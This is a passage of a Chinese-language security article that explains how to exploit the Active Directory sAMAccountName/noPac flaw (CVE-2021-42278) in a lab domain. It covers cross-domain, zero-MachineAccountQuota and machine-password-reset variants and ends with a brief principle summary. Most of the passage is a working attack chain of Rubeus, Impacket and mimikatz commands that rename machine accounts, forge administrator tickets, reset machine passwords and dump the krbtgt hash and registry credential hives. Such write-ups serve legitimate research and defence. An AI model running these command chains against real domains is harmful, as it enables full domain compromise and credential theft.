python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt
```

如下图，可以看到针对普通域用户hack也可以发起类似的攻击！

11：跨域攻击

这里有三个域，一个是xie.com父域，另外两个是beijing.xie.com和shanghai.xie.com子域，如下：

- 根域：xie.com
- 根域域控：AD.xie.com

- 子域：shanghai.xie.com
- 子域域控：SH-AD.shanghai.xie.com

- 子域普通域用户：sh_hack P@ss1234

首先在根域xie.com上，执行如下命令将域管理员administrator的altSecurityIdentities设置为Kerberos:[email protected]。

```python
Import-Module .\powerview.ps1
Set-DomainObject administrator -domain xie.com -set @{'altSecurityIdentities'='Kerberos:[email protected]'}
Get-DomainObject administrator -domain xie.com -Properties * | select altSecurityIdentities
```

正常情况下，在子域shanghai.xie.com内是无法导出根域xie.com域内哈希的，如下：

```python
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:xie\krbtgt /csv" "exit"
```

如下，在子域shanghai.xie.com上请求一个不要PAC的TGT认购权证。

```python
Rubeus.exe asktgt /user:sh_hack /password:P@ss1234 /domain:shanghai.xie.com /dc:SH-AD.shanghai.xie.com /nowrap /ptt /nopac
```

然后利用这个TGT认购权证向根域控ad.xie.com请求根域控的ldap/ad.xie.com服务。此时，由于在根域内并没有sh_hack用户，因此根域域控会查找sh_hack$用户，还未找到。根域域控会查找altSecurityIdentities属性带有sh_hack的用户，此时找到了根域administrator用户。此时根域域控会

会生成一张根域administrator用户权限的PAC放到ST服务票据中返回。

```python
Rubeus.exe asktgs /service:ldap/ad.xie.com /dc:ad.xie.com /nowrap /ptt /ticket:上一步请求的无PAC的TGT认购权证
```

因此，在子域shagnhai.xie.com内可以利用根域administrator用户的ST服务票据导出根域内任意用户的哈希了。

12：针对MAQ为0时的攻击

如果目标域针对ms-DS-MachineAccountQuota属性进行了设置，将其修改为0。

此时，普通域用户将无法新建机器用户。如下图所示，直接报错！

那么，针对MAQ为0这种场景，我们需要怎么利用呢？我们这里的想法是针对域内已经存在的机器帐户加以利用。

如下，我们以已经加入域的Win10机器为例。通过查询Win10机器的ACL发现，除了默认的域管理员等高权限用户外，只有hack用户对其具有修改saMAccountName属性的权限，就连win10$机器账号自身都无权限修改saMAccountName属性。

如下，使用win10$机器账号修改自身的mS-DS-CreatorSID属性，提示无有效访问权限。

```python
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com "xie.com/win10$" -hashes 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe
```

但是使用hack用户修改Win10$机器帐号的mS-DS-CreatorSID属性，提示修改成功。如下图：

```python
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com "xie.com/hack:P@ss1234"
```

那么，为什么普通域用户hack对其具有修改saMAccountName属性的权限呢？我们第一猜想是hack用户将win10机器加入域的。

于是通过如下命令查询win10机器的mS-DS-CreatorSID属性，并查询SID对应的用户，果然证实了我们的猜想。hack用户是将win10机器加入域的账号。

```python
#查询所有机器账号的mS-DS-CreatorSID属性
AdFind.exe -f "&(objectcategory=computer)(name=win10)" mS-DS-CreatorSID
#查询SID对应的用户
AdFind.exe -sc adsid:S-1-5-21-1313979556-3624129433-4055459191-1154 -dn
```

于是乎，我们可以针对域内已经存在的机器进行利用了。针对这种利用方式，有两种可能性：

1. 获取到域内已经存在的机器权限
2. 获取到将机器加入域的用户权限

获取到域内已经存在的机器权限

如下，获得域内普通机器win10的最高权限，通过执行如下命令dump哈希。

```python
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > pass.txt
```

如下NTLM字段是机器账号win10$的密码哈希，因此我们可以利用这个密码哈希进行后续认证操作。

```python
3db5e5e43b3b260de0b058d9b82523fe
```

通过如下命令查询win10机器的mS-DS-CreatorSID属性，并查询SID对应的用户，发现是hack用户将win10机器加入域的。

```python
#查询所有机器账号的mS-DS-CreatorSID属性
AdFind.exe -f "&(objectcategory=computer)(name=win10)" mS-DS-CreatorSID
#查询SID对应的用户
AdFind.exe -sc adsid:S-1-5-21-1313979556-3624129433-4055459191-1154 -dn
```

此时，要想进行后续利用的话，需要获得hack用户的权限。这里假设我们已经获得hack用户的密码为P@ss1234。

通过如下命令查询机器账号win10$的SPN，可以看到有6条SPN

```python
python3 addspn.py -u 'xie.com\win10$' -p 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe -t 'win10$' -q 10.211.55.4
```

需要清除机器账号win10$的SPN，可以通过win10$账号自身的权限进行清除，如下命令：

```python
#清除win10$的SPN
python3 addspn.py -u 'xie.com\win10$' -p 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe -t 'win10$' -c 10.211.55.4
```

接着，我们利用hack用户来修改win10机器的mS-DS-CreatorSID属性。然后后续步骤和之前一样，如下：

```python
#将机器用户win10$的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#以win10用户身份请求TGT认购权证，用户名为saMAccountName属性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01 -hashes 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe
#导入TGT认购权证
export KRB5CCNAME=ad01.ccache
#将机器用户win10的saMAccountName属性恢复为win10$
python3 renameMachine.py -current-name 'AD01' -new-name 'win10$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用上一步的TGT认购权证，以administrator的身份请求访问ad01.xie.com的cifs服务
python3 getST.py -spn cifs/ad01.xie.com xie/[email protected] -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#导入ST服务票据
export KRB5CCNAME=administrator.ccache
#导出域内krbtgt用户哈希
python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt
```

获取到将机器加入域的用户权限

如下，获得域内普通用户hack的权限，得到其密码为：P@ss1234。

执行如下命令，先查询hack用户对应的SID，再查询mS-DS-CreatorSID属性为该SID的机器。该机器就是hack用户加入域的机器。如下图执行结果可以看到，Win10机器是hack用户加入域的。

```python
#查询hack用户对应的sid
AdFind.exe -sc u:hack objectSid
#查询mS-DS-CreatorSID属性为指定SID的机器
AdFind.exe -f "&(objectcategory=computer)(mS-DS-CreatorSID=S-1-5-21-1313979556-3624129433-4055459191-1154)" -dn
```

但是此时我们并没有获取到win10机器的权限，那么该如何操作呢？我们关注到后期并不需要win10机器的机器权限，只需要win10$这个机器的账号密码即可。因此，我们可以通过hack用户利用SAMR协议远程修改Win10$机器账号的密码，这样我们后续就能控制win10$这个机器账号了。

**修改机器账号哈希**

如下，我们通过mimikaktz利用SAMR协议调用SamrSetInformationUser接口来重置机器账号win10$的密码为123456。

```python
mimikatz.exe
#重置机器账号win10$的密码为123456
lsadump::SETNTLM /server:10.211.55.4 /user:win10$ /password:123456
```

**攻击利用**

然后就可以后续利用了！

通过如下命令查询机器账号win10$的SPN，可以看到有6条SPN。

```python
python3 addspn.py -u 'xie.com\win10$' -p 123456 -t 'win10$' -s aa/aa -q 10.211.55.4
```

然后需要清除机器账号win10$的SPN，可以通过win10$账号自身的权限进行清除。此时win10$机器账号密码为123456，可以使用如下命令进行清除：

```python
#清除win10$的SPN
python3 addspn.py -u 'xie.com\win10$' -p 123456 -t 'win10$' -c 10.211.55.4
```

接着，我们利用hack用户来修改win10机器的mS-DS-CreatorSID属性。然后后续步骤和之前一样，如下，可以看到攻击成功！

```python
#将机器用户win10$的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#以win10用户身份请求TGT认购权证，用户名为saMAccountName属性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:123456
#导入TGT认购权证
export KRB5CCNAME=ad01.ccache
#将机器用户win10的saMAccountName属性恢复为win10$
python3 renameMachine.py -current-name 'AD01' -new-name 'win10$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用上一步的TGT认购权证，以administrator的身份请求访问ad01.xie.com的cifs服务
python3 getST.py -spn cifs/ad01.xie.com xie/[email protected] -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#导入ST服务票据
export KRB5CCNAME=administrator.ccache
#导出域内krbtgt用户哈希
python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt
```

但是现在并没有结束，由于我们修改了Win10$机器账号的哈希，这将导致Win10机器账号在活动目录中的密码和在本地注册表以及lsass进程中的密码不一致，这将导致win10机器重启后无法开机、脱域等情况！如下图，分别是Win10$机器账号在活动目录中的哈希和lsass进程中的哈希，可以看到不一致！

**获得机器账号原始哈希**

首先我们需要获得win10$机器账号的原始哈希，这里有两种方法：

**方式一**

在目标win10机器上执行这三个命令，将注册表中的信息导出这三个文件。

```python
reg save HKLM\SYSTEM system.save 
reg save HKLM\SAM sam.save 
reg save HKLM\SECURITY security.save
```

将刚刚保存的三个文件放到impacket的examples目录下，执行如下命令，使用secretsdump.py提取出文件里面的hash。如下，$MACHINE.ACC后面的3db5e5e43b3b260de0b058d9b82523fe就是原来的机器哈希。

```python
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
```

**方式二**

在目标win10机器上使用mimikatz的sekurlsa::logonpassword模块从lsass.exe进程里面抓取win10$机器账号的原始哈希。

```python
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

**恢复机器账号原始哈希**

然后再次使用mimikaktz利用SAMR协议调用SamrSetInformationUser接口来重置机器账号win10$的密码哈希为原值，如下图：

```python
mimikatz.exe
#重置win10$机器账号的哈希为原值
lsadump::SETNTLM /server:10.211.55.4 /user:win10$ /ntlm:3db5e5e43b3b260de0b058d9b82523fe
```

再次查询活动目录中win10$机器账号的哈希，可以看到还原了！

原理总结

首先，这个洞最深层次的原因是KDC在处理UserName字段时的问题，而后结合两种攻击链针对域内和跨域进行攻击。

- 当针对域内攻击时，结合了CVE-2021-42278漏洞来修改机器用户的saMAccountName属性，让KDC找不到用户，走进处理UserName的逻辑。 然后再利用KDC在处理S4U2Self时的逻辑问题(不校验发起S4U2Self请求的用户是否具有权限发起S4U2Self请求)以及重新生成PAC的这一特性来进行攻击。
- 当针对跨域攻击时，其实意义不大。因为需要修改其他域内高权限用户的altSecurityIdentities属性，而默认是没有权限修改的，只有根域管理员或者其他域的域管理员才有权限修改。当跨域TGS请求时，目标域控在活动目录数据库内是找不到其他域的用户的，因此走进处理UserName的逻辑。然后再利用跨域TGS-REQ请求时的处理逻辑(如果TGT票据中没有PAC，则重新生成)这一特性来进行攻击的。

综上所述，这个洞刚开始叫nopac其实就是针对跨域时的攻击，实战意义不大。针对域内攻击更有效，下图是域内攻击链的逻辑处理图：

注：本文只做漏洞原理分析，只做技术交流，切勿用于非法用途。

作者：谢公子@深信服深蓝攻防实验室

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